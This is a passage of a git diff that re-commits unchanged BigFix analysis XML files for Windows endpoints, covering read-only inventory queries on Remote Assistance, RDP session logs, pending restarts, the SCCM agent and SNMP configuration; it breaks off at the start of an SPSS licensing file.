-  <Analysis>
-    <Title>Remote Assistance - Windows</Title>
-    <Description><![CDATA[<P>This Analysis gathers enabled and install state data regarding Remote Assistance.</P>
-<P>&nbsp;</P>
-<P>Remote Assistance is by default not enabled or installed on Windows Server Operating Systems</P>
-<P>For general information or to report issues with C3 Remote Control content please visit GitHub here: <A href="https://github.com/strawgate/C3-Remote-Control">https://github.com/strawgate/C3-Remote-Control</A></P>]]></Description>
-    <Relevance>windows of operating system</Relevance>
-    <Relevance><![CDATA[version of operating system >= "6.1"]]></Relevance>
-    <Domain>BESC</Domain>
-    <Property ID="1" Name="Remote Assistance - Installed" EvaluationPeriod="P1D">if (name of operating system as string starts with &quot;Win2&quot;) then (exists selects &quot;* from Win32_ServerFeature where (Name like &apos;Remote Assistance&apos;)&quot; of wmi) else (if (version of operating system &gt;= &quot;6.1&quot;) then (true) else (false))</Property>
-    <Property ID="2" Name="Remote Assistance - Enabled" EvaluationPeriod="P1D">(value &quot;fAllowUnsolicitedFullControl&quot; of key &quot;HKLM\Software\policies\Microsoft\Windows NT\Terminal Services&quot; of registry as integer | 0) = 1</Property>
-  </Analysis>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Analysis Export
+
+  Title    : Remote Assistance - Windows
+  ID       : 2998526
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2017-02-24T14:01:33
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Analysis>
+    <Title>Remote Assistance - Windows</Title>
+    <Description><![CDATA[<P>This Analysis gathers enabled and install state data regarding Remote Assistance.</P>
+<P>&nbsp;</P>
+<P>Remote Assistance is by default not enabled or installed on Windows Server Operating Systems</P>
+<P>For general information or to report issues with C3 Remote Control content please visit GitHub here: <A href="https://github.com/strawgate/C3-Remote-Control">https://github.com/strawgate/C3-Remote-Control</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance><![CDATA[version of operating system >= "6.1"]]></Relevance>
+    <Domain>BESC</Domain>
+    <Property ID="1" Name="Remote Assistance - Installed" EvaluationPeriod="P1D">if (name of operating system as string starts with &quot;Win2&quot;) then (exists selects &quot;* from Win32_ServerFeature where (Name like &apos;Remote Assistance&apos;)&quot; of wmi) else (if (version of operating system &gt;= &quot;6.1&quot;) then (true) else (false))</Property>
+    <Property ID="2" Name="Remote Assistance - Enabled" EvaluationPeriod="P1D">(value &quot;fAllowUnsolicitedFullControl&quot; of key &quot;HKLM\Software\policies\Microsoft\Windows NT\Terminal Services&quot; of registry as integer | 0) = 1</Property>
+  </Analysis>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Analyses/Remote Desktop - Session Logs - Windows (2998527).bes b/Sites/Windows Management/Fixlets/Analyses/Remote Desktop - Session Logs - Windows (2998527).bes
index b532898c9..fed2deaad 100644
--- a/Sites/Windows Management/Fixlets/Analyses/Remote Desktop - Session Logs - Windows (2998527).bes	
+++ b/Sites/Windows Management/Fixlets/Analyses/Remote Desktop - Session Logs - Windows (2998527).bes	
@@ -1,22 +1,22 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Analysis Export
-
-  Title    : Remote Desktop - Session Logs - Windows
-  ID       : 2998527
-  Author   : strawgate
-  Domain   : BESC
-  Imported : 2017-02-24T14:01:40
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Analysis>
-    <Title>Remote Desktop - Session Logs - Windows</Title>
-    <Description><![CDATA[<P>Provides information about previous remote desktop sessions on the system.</P>
-<P><FONT color=#ff0000><STRONG>NOTE:</STRONG></FONT> Due to issues with how BigFix parses the event log: <A href="https://forum.bigfix.com/t/the-event-record-inspector-is-returning-an-error-for-the-description-of-the-event/17006">https://forum.bigfix.com/t/the-event-record-inspector-is-returning-an-error-for-the-description-of-the-event/17006</A>&nbsp;this will NOT return results for users resuming their RDP sessions. This will only return results for users starting brand new user sessions over RDP.</P>
-<P>For general information or to report issues with C3 Remote Control content please visit GitHub here: <A href="https://github.com/strawgate/C3-Remote-Control">https://github.com/strawgate/C3-Remote-Control</A></P>]]></Description>
-    <Relevance>windows of operating system</Relevance>
-    <Domain>BESC</Domain>
-    <Property ID="1" Name="Remote Desktop - Incoming Sessions - Windows" EvaluationPeriod="PT6H">(preceding text of first &quot;%0d%0a&quot; of following text of first &quot;User: &quot; of description of it | &quot;Unknown&quot;, time generated of it, (if (it = 21) then (&quot;New Session&quot;) else (&quot;Resumed Session&quot;)) of (event id of it), following text of last &quot;: &quot; of description of it) of records ((integers in(item 0 of it + item 1 of it - 1,maximum of (item 0 of it + item 1 of it - 2000;item 1 of it))) of (record count of it, oldest record number of it)) whose (exists description of it and (event id of it = 21 or event id of it = 25) and description of it does not contain &quot;LOCAL&quot;) of event log &quot;Microsoft-Windows-TerminalServices-LocalSessionManager/Operational&quot;</Property>
-  </Analysis>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Analysis Export
+
+  Title    : Remote Desktop - Session Logs - Windows
+  ID       : 2998527
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2017-02-24T14:01:40
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Analysis>
+    <Title>Remote Desktop - Session Logs - Windows</Title>
+    <Description><![CDATA[<P>Provides information about previous remote desktop sessions on the system.</P>
+<P><FONT color=#ff0000><STRONG>NOTE:</STRONG></FONT> Due to issues with how BigFix parses the event log: <A href="https://forum.bigfix.com/t/the-event-record-inspector-is-returning-an-error-for-the-description-of-the-event/17006">https://forum.bigfix.com/t/the-event-record-inspector-is-returning-an-error-for-the-description-of-the-event/17006</A>&nbsp;this will NOT return results for users resuming their RDP sessions. This will only return results for users starting brand new user sessions over RDP.</P>
+<P>For general information or to report issues with C3 Remote Control content please visit GitHub here: <A href="https://github.com/strawgate/C3-Remote-Control">https://github.com/strawgate/C3-Remote-Control</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Domain>BESC</Domain>
+    <Property ID="1" Name="Remote Desktop - Incoming Sessions - Windows" EvaluationPeriod="PT6H">(preceding text of first &quot;%0d%0a&quot; of following text of first &quot;User: &quot; of description of it | &quot;Unknown&quot;, time generated of it, (if (it = 21) then (&quot;New Session&quot;) else (&quot;Resumed Session&quot;)) of (event id of it), following text of last &quot;: &quot; of description of it) of records ((integers in(item 0 of it + item 1 of it - 1,maximum of (item 0 of it + item 1 of it - 2000;item 1 of it))) of (record count of it, oldest record number of it)) whose (exists description of it and (event id of it = 21 or event id of it = 25) and description of it does not contain &quot;LOCAL&quot;) of event log &quot;Microsoft-Windows-TerminalServices-LocalSessionManager/Operational&quot;</Property>
+  </Analysis>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Analyses/Restart information - Windows (2998686).bes b/Sites/Windows Management/Fixlets/Analyses/Restart information - Windows (2998686).bes
index 6f40488d8..e3d7083a2 100644
--- a/Sites/Windows Management/Fixlets/Analyses/Restart information - Windows (2998686).bes	
+++ b/Sites/Windows Management/Fixlets/Analyses/Restart information - Windows (2998686).bes	
@@ -1,31 +1,31 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Analysis Export
-
-  Title    : Restart information - Windows
-  ID       : 2998686
-  Author   : andrea.proietto
-  Domain   : BESC
-  Imported : 2023-05-25T04:10:21
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Analysis>
-    <Title>Restart information - Windows</Title>
-    <Description>This analysis shows what could cause a &quot;Pending Restart&quot; status on Windows endpoints</Description>
-    <Relevance>windows of operating system</Relevance>
-    <Relevance>in agent context</Relevance>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Thu, 25 May 2023 11:07:17 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <Property ID="1" Name="Restart needed">pending restart</Property>
-    <Property ID="2" Name="BigFix key">if exists key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\BigFix\EnterpriseClient\BESPendingRestart\BESPendingRestart&quot; of native registry then names of values of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\BigFix\EnterpriseClient\BESPendingRestart\BESPendingRestart&quot; of native registry else &quot;No key found&quot;</Property>
-    <Property ID="3" Name="PendingFileRenameOperations">if exists value whose (name of it is &quot;PendingFileRenameOperations&quot;) of key &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager&quot; of native registry then substrings separated by &quot;%00&quot; of (value whose (name of it is &quot;PendingFileRenameOperations&quot;) of key &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager&quot; of native registry as string) else &quot;No value found&quot;</Property>
-    <Property ID="4" Name="RebootRequired">if exists key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WindowsUpdate\Auto Update\RebootRequired&quot; of native registry then (name of it &amp; &quot;|&quot; &amp; it as string) of values of key &quot;Microsoft\Windows\CurrentVersion\WindowsUpdate\Auto Update\RebootRequired&quot; of native registry else &quot;No key found&quot;</Property>
-    <Property ID="5" Name="RebootPending">if exists key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Component Based Servicing\RebootPending&quot; of native registry then (name of it &amp; &quot;|&quot; &amp; it as string) of values of key &quot;Microsoft\Windows\CurrentVersion\Component Based Servicing\RebootPending&quot; of native registry else &quot;No key found&quot;</Property>
-    <Property ID="6" Name="UpdateExeVolatile">if exists key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Updates&quot; of native registry then if exists value whose (name of it is &quot;UpdateExeVolatile&quot;) of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Updates&quot; of native registry then value whose (name of it is &quot;UpdateExeVolatile&quot;) of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Updates&quot; of native registry as string else &quot;No value found&quot; else &quot;Key does not exist&quot;</Property>
-    <Property ID="7" Name="Exclusions">values of settings &quot;_BESClient_ActionManager_PendingRestartExclusions&quot; of client</Property>
-  </Analysis>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Analysis Export
+
+  Title    : Restart information - Windows
+  ID       : 2998686
+  Author   : andrea.proietto
+  Domain   : BESC
+  Imported : 2023-05-25T04:10:21
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Analysis>
+    <Title>Restart information - Windows</Title>
+    <Description>This analysis shows what could cause a &quot;Pending Restart&quot; status on Windows endpoints</Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>in agent context</Relevance>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Thu, 25 May 2023 11:07:17 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <Property ID="1" Name="Restart needed">pending restart</Property>
+    <Property ID="2" Name="BigFix key">if exists key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\BigFix\EnterpriseClient\BESPendingRestart\BESPendingRestart&quot; of native registry then names of values of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\BigFix\EnterpriseClient\BESPendingRestart\BESPendingRestart&quot; of native registry else &quot;No key found&quot;</Property>
+    <Property ID="3" Name="PendingFileRenameOperations">if exists value whose (name of it is &quot;PendingFileRenameOperations&quot;) of key &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager&quot; of native registry then substrings separated by &quot;%00&quot; of (value whose (name of it is &quot;PendingFileRenameOperations&quot;) of key &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager&quot; of native registry as string) else &quot;No value found&quot;</Property>
+    <Property ID="4" Name="RebootRequired">if exists key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WindowsUpdate\Auto Update\RebootRequired&quot; of native registry then (name of it &amp; &quot;|&quot; &amp; it as string) of values of key &quot;Microsoft\Windows\CurrentVersion\WindowsUpdate\Auto Update\RebootRequired&quot; of native registry else &quot;No key found&quot;</Property>
+    <Property ID="5" Name="RebootPending">if exists key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Component Based Servicing\RebootPending&quot; of native registry then (name of it &amp; &quot;|&quot; &amp; it as string) of values of key &quot;Microsoft\Windows\CurrentVersion\Component Based Servicing\RebootPending&quot; of native registry else &quot;No key found&quot;</Property>
+    <Property ID="6" Name="UpdateExeVolatile">if exists key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Updates&quot; of native registry then if exists value whose (name of it is &quot;UpdateExeVolatile&quot;) of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Updates&quot; of native registry then value whose (name of it is &quot;UpdateExeVolatile&quot;) of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Updates&quot; of native registry as string else &quot;No value found&quot; else &quot;Key does not exist&quot;</Property>
+    <Property ID="7" Name="Exclusions">values of settings &quot;_BESClient_ActionManager_PendingRestartExclusions&quot; of client</Property>
+  </Analysis>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Analyses/SCCM - Windows (2998488).bes b/Sites/Windows Management/Fixlets/Analyses/SCCM - Windows (2998488).bes
index d1101a044..163bb840c 100644
--- a/Sites/Windows Management/Fixlets/Analyses/SCCM - Windows (2998488).bes	
+++ b/Sites/Windows Management/Fixlets/Analyses/SCCM - Windows (2998488).bes	
@@ -1,32 +1,32 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Analysis Export
-
-  Title    : SCCM - Windows
-  ID       : 2998488
-  Author   : strawgate
-  Domain   : BESC
-  Imported : 2016-11-14T15:35:53
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Analysis>
-    <Title>SCCM - Windows</Title>
-    <Description><![CDATA[This analysis provides information related to the currently installed System Center Configuration Manager Agent for Windows devices.
-<P>For general information or to report issues with C3 Inventory content please visit GitHub here: <A href="https://github.com/strawgate/C3-Inventory">https://github.com/strawgate/C3-Inventory</A></P>]]></Description>
-    <Relevance>windows of operating system</Relevance>
-    <Relevance>exists service &quot;CcmExec&quot;</Relevance>
-    <Domain>BESC</Domain>
-    <Property ID="1" Name="SCCM - Version - Windows" EvaluationPeriod="P1D">version of service &quot;CcmExec&quot;</Property>
-    <Property ID="2" Name="SCCM - Site Code - Windows" EvaluationPeriod="PT12H">value &quot;LastSiteCode&quot; of Key &quot;HKEY_LOCAL_MACHINE\Software\Microsoft\CCM\CcmEval&quot; of native registry</Property>
-    <Property ID="3" Name="SCCM - Last Inventory Report - Windows" EvaluationPeriod="PT1H">time value of selects &quot;LastReportDate from InventoryActionStatus where InventoryActionID = &apos;{00000000-0000-0000-0000-000000000001}&apos;&quot; of wmi &quot;root\ccm\InvAgt&quot;</Property>
-    <Property ID="4" Name="SCCM - Management Point - Windows" EvaluationPeriod="PT1H">string value of select &quot;CurrentManagementPoint from SMS_Authority&quot; of wmi &quot;root\ccm&quot;</Property>
-    <Property ID="5" Name="SCCM - Installed Components - Windows" EvaluationPeriod="P1D">unique values of string values of selects &quot;DisplayName from CCM_InstalledComponent&quot; of wmi &quot;root\ccm&quot;</Property>
-    <Property ID="6" Name="SCCM - Client Approved - Windows" EvaluationPeriod="PT6H">boolean value of selects &quot;Approved from CCM_ClientIdentificationInformation&quot; of wmi &quot;root\ccm&quot;</Property>
-    <Property ID="7" Name="SCCM - Proxy Management Point - Windows" EvaluationPeriod="PT12H">string value of select &quot;Name from SMS_LocalMP&quot; of wmi &quot;root\ccm&quot;</Property>
-    <Property ID="8" Name="SCCM - Package Advertisements - Windows" EvaluationPeriod="PT12H">(string value of property &quot;PKG_NAME&quot; of it, string value of property &quot;PolicyID&quot; of it) of select objects &quot;* from CCM_SoftwareDistribution&quot; of wmi &quot;root\ccm\Policy\Machine\RequestedConfig&quot;</Property>
-    <Property ID="9" Name="SCCM - Max Cache Size - Windows" EvaluationPeriod="PT12H">integer value of selects &quot;Size from CacheConfig&quot; of WMI &quot;ROOT\ccm\SoftMgmtAgent&quot;</Property>
-    <Property ID="10" Name="SCCM - Missing Updates - Windows" EvaluationPeriod="PT12H">unique values of string values of selects &quot;Title from CCM_UpdateStatus WHERE Status=&apos;Missing&apos;&quot; of WMI &quot;ROOT\ccm\SoftwareUpdates\UpdatesStore&quot;</Property>
-    <Property ID="11" Name="SCCM - State - Windows" EvaluationPeriod="PT1H">state of service &quot;CcmExec&quot;</Property>
-  </Analysis>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Analysis Export
+
+  Title    : SCCM - Windows
+  ID       : 2998488
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2016-11-14T15:35:53
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Analysis>
+    <Title>SCCM - Windows</Title>
+    <Description><![CDATA[This analysis provides information related to the currently installed System Center Configuration Manager Agent for Windows devices.
+<P>For general information or to report issues with C3 Inventory content please visit GitHub here: <A href="https://github.com/strawgate/C3-Inventory">https://github.com/strawgate/C3-Inventory</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>exists service &quot;CcmExec&quot;</Relevance>
+    <Domain>BESC</Domain>
+    <Property ID="1" Name="SCCM - Version - Windows" EvaluationPeriod="P1D">version of service &quot;CcmExec&quot;</Property>
+    <Property ID="2" Name="SCCM - Site Code - Windows" EvaluationPeriod="PT12H">value &quot;LastSiteCode&quot; of Key &quot;HKEY_LOCAL_MACHINE\Software\Microsoft\CCM\CcmEval&quot; of native registry</Property>
+    <Property ID="3" Name="SCCM - Last Inventory Report - Windows" EvaluationPeriod="PT1H">time value of selects &quot;LastReportDate from InventoryActionStatus where InventoryActionID = &apos;{00000000-0000-0000-0000-000000000001}&apos;&quot; of wmi &quot;root\ccm\InvAgt&quot;</Property>
+    <Property ID="4" Name="SCCM - Management Point - Windows" EvaluationPeriod="PT1H">string value of select &quot;CurrentManagementPoint from SMS_Authority&quot; of wmi &quot;root\ccm&quot;</Property>
+    <Property ID="5" Name="SCCM - Installed Components - Windows" EvaluationPeriod="P1D">unique values of string values of selects &quot;DisplayName from CCM_InstalledComponent&quot; of wmi &quot;root\ccm&quot;</Property>
+    <Property ID="6" Name="SCCM - Client Approved - Windows" EvaluationPeriod="PT6H">boolean value of selects &quot;Approved from CCM_ClientIdentificationInformation&quot; of wmi &quot;root\ccm&quot;</Property>
+    <Property ID="7" Name="SCCM - Proxy Management Point - Windows" EvaluationPeriod="PT12H">string value of select &quot;Name from SMS_LocalMP&quot; of wmi &quot;root\ccm&quot;</Property>
+    <Property ID="8" Name="SCCM - Package Advertisements - Windows" EvaluationPeriod="PT12H">(string value of property &quot;PKG_NAME&quot; of it, string value of property &quot;PolicyID&quot; of it) of select objects &quot;* from CCM_SoftwareDistribution&quot; of wmi &quot;root\ccm\Policy\Machine\RequestedConfig&quot;</Property>
+    <Property ID="9" Name="SCCM - Max Cache Size - Windows" EvaluationPeriod="PT12H">integer value of selects &quot;Size from CacheConfig&quot; of WMI &quot;ROOT\ccm\SoftMgmtAgent&quot;</Property>
+    <Property ID="10" Name="SCCM - Missing Updates - Windows" EvaluationPeriod="PT12H">unique values of string values of selects &quot;Title from CCM_UpdateStatus WHERE Status=&apos;Missing&apos;&quot; of WMI &quot;ROOT\ccm\SoftwareUpdates\UpdatesStore&quot;</Property>
+    <Property ID="11" Name="SCCM - State - Windows" EvaluationPeriod="PT1H">state of service &quot;CcmExec&quot;</Property>
+  </Analysis>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Analyses/SNMP - Windows (2998459).bes b/Sites/Windows Management/Fixlets/Analyses/SNMP - Windows (2998459).bes
index 08dd60004..e2c27b73d 100644
--- a/Sites/Windows Management/Fixlets/Analyses/SNMP - Windows (2998459).bes	
+++ b/Sites/Windows Management/Fixlets/Analyses/SNMP - Windows (2998459).bes	
@@ -1,25 +1,25 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Analysis Export
-
-  Title    : SNMP - Windows
-  ID       : 2998459
-  Author   : strawgate
-  Domain   : BESC
-  Imported : 2016-10-21T12:53:24
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Analysis>
-    <Title>SNMP - Windows</Title>
-    <Description><![CDATA[<P>Provides information on the current SNMP configuration in Windows.</P>
-<P>For general information or to report issues with C3 Inventory content please visit GitHub here: <A href="https://github.com/strawgate/C3-Inventory">https://github.com/strawgate/C3-Inventory</A></P>]]></Description>
-    <Relevance>windows of operating system</Relevance>
-    <Relevance>exists service &quot;SNMP&quot;</Relevance>
-    <Domain>BESC</Domain>
-    <Property ID="1" Name="SNMP - State - Windows" EvaluationPeriod="PT1H">state of service &quot;SNMP&quot; | error &quot;Not Installed&quot;</Property>
-    <Property ID="2" Name="SNMP - Read-Only Communities - Windows" EvaluationPeriod="PT12H">names of values whose (it = 4) of keys &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\SNMP\Parameters\ValidCommunities&quot; of native registry</Property>
-    <Property ID="3" Name="SNMP - Permitted Managers - Windows" EvaluationPeriod="PT12H">values of keys &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\SNMP\Parameters\PermittedManagers&quot; of native registry</Property>
-    <Property ID="4" Name="SNMP - Read-Write Communities - Windows" EvaluationPeriod="PT12H">names of values whose (it = 8) of keys &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\SNMP\Parameters\ValidCommunities&quot; of native registry</Property>
-  </Analysis>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Analysis Export
+
+  Title    : SNMP - Windows
+  ID       : 2998459
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2016-10-21T12:53:24
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Analysis>
+    <Title>SNMP - Windows</Title>
+    <Description><![CDATA[<P>Provides information on the current SNMP configuration in Windows.</P>
+<P>For general information or to report issues with C3 Inventory content please visit GitHub here: <A href="https://github.com/strawgate/C3-Inventory">https://github.com/strawgate/C3-Inventory</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>exists service &quot;SNMP&quot;</Relevance>
+    <Domain>BESC</Domain>
+    <Property ID="1" Name="SNMP - State - Windows" EvaluationPeriod="PT1H">state of service &quot;SNMP&quot; | error &quot;Not Installed&quot;</Property>
+    <Property ID="2" Name="SNMP - Read-Only Communities - Windows" EvaluationPeriod="PT12H">names of values whose (it = 4) of keys &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\SNMP\Parameters\ValidCommunities&quot; of native registry</Property>
+    <Property ID="3" Name="SNMP - Permitted Managers - Windows" EvaluationPeriod="PT12H">values of keys &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\SNMP\Parameters\PermittedManagers&quot; of native registry</Property>
+    <Property ID="4" Name="SNMP - Read-Write Communities - Windows" EvaluationPeriod="PT12H">names of values whose (it = 8) of keys &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\SNMP\Parameters\ValidCommunities&quot; of native registry</Property>
+  </Analysis>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Analyses/SNMP Configuration (2994764).bes b/Sites/Windows Management/Fixlets/Analyses/SNMP Configuration (2994764).bes
index 99f8a36b4..6f3469c8c 100644
--- a/Sites/Windows Management/Fixlets/Analyses/SNMP Configuration (2994764).bes	
+++ b/Sites/Windows Management/Fixlets/Analyses/SNMP Configuration (2994764).bes	
@@ -1,26 +1,26 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Analysis Export
-
-  Title    : SNMP Configuration
-  ID       : 2994764
-  Author   : jimwald
-  Domain   : BESC
-  Imported : 2015-02-10T13:18:26
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Analysis>
-    <Title>SNMP Configuration</Title>
-    <Description><![CDATA[Analysis to&nbsp;read the state and configuration of SNMP service for Windows Servers.&nbsp; ]]></Description>
-    <Relevance>name of operating system contains &quot;Win2&quot;</Relevance>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Tue, 10 Feb 2015 17:56:10 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <Property ID="1" Name="SNMP Service State">if exists Service &quot;SNMP&quot; then state of service &quot;SNMP&quot; else &quot;Not Installed&quot;</Property>
-    <Property ID="4" Name="SNMP Valid Communities">if exists key &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\SNMP\Parameters\ValidCommunities&quot; of native registry then if exists values of key &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\SNMP\Parameters\ValidCommunities&quot; of native registry then (names of values of it, values of it) of key &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\SNMP\Parameters\ValidCommunities&quot; of native registry as string else &quot;Not Configured&quot; else &quot;Not Installed&quot;</Property>
-    <Property ID="5" Name="SNMP Permitted Managers">if exists key &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\SNMP\Parameters\PermittedManagers&quot; of native registry then if exists values of key &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\SNMP\Parameters\PermittedManagers&quot; of native registry then (names of values of it, values of it) of key &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\SNMP\Parameters\PermittedManagers&quot; of native registry as string else &quot;Not Configured&quot; else &quot;Not Installed&quot;</Property>
-  </Analysis>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Analysis Export
+
+  Title    : SNMP Configuration
+  ID       : 2994764
+  Author   : jimwald
+  Domain   : BESC
+  Imported : 2015-02-10T13:18:26
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Analysis>
+    <Title>SNMP Configuration</Title>
+    <Description><![CDATA[Analysis to&nbsp;read the state and configuration of SNMP service for Windows Servers.&nbsp; ]]></Description>
+    <Relevance>name of operating system contains &quot;Win2&quot;</Relevance>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Tue, 10 Feb 2015 17:56:10 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <Property ID="1" Name="SNMP Service State">if exists Service &quot;SNMP&quot; then state of service &quot;SNMP&quot; else &quot;Not Installed&quot;</Property>
+    <Property ID="4" Name="SNMP Valid Communities">if exists key &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\SNMP\Parameters\ValidCommunities&quot; of native registry then if exists values of key &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\SNMP\Parameters\ValidCommunities&quot; of native registry then (names of values of it, values of it) of key &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\SNMP\Parameters\ValidCommunities&quot; of native registry as string else &quot;Not Configured&quot; else &quot;Not Installed&quot;</Property>
+    <Property ID="5" Name="SNMP Permitted Managers">if exists key &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\SNMP\Parameters\PermittedManagers&quot; of native registry then if exists values of key &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\SNMP\Parameters\PermittedManagers&quot; of native registry then (names of values of it, values of it) of key &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\SNMP\Parameters\PermittedManagers&quot; of native registry as string else &quot;Not Configured&quot; else &quot;Not Installed&quot;</Property>
+  </Analysis>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Analyses/SPSS Installation and Licensing - Windows (2994757).bes b/Sites/Windows Management/Fixlets/Analyses/SPSS Installation and Licensing - Windows (2994757).bes
index cfb02897c..a90c89e90 100644
--- a/Sites/Windows Management/Fixlets/Analyses/SPSS Installation and Licensing - Windows (2994757).bes	
+++ b/Sites/Windows Management/Fixlets/Analyses/SPSS Installation and Licensing - Windows (2994757).bes	
@@ -1,34 +1,34 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Analysis Export
-
-  Title    : SPSS Installation and Licensing - Windows
-  ID       : 2994757
-  Author   : jgstew
-  Domain   : BESC
-  Imported : 2014-12-19T14:38:20
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Analysis>
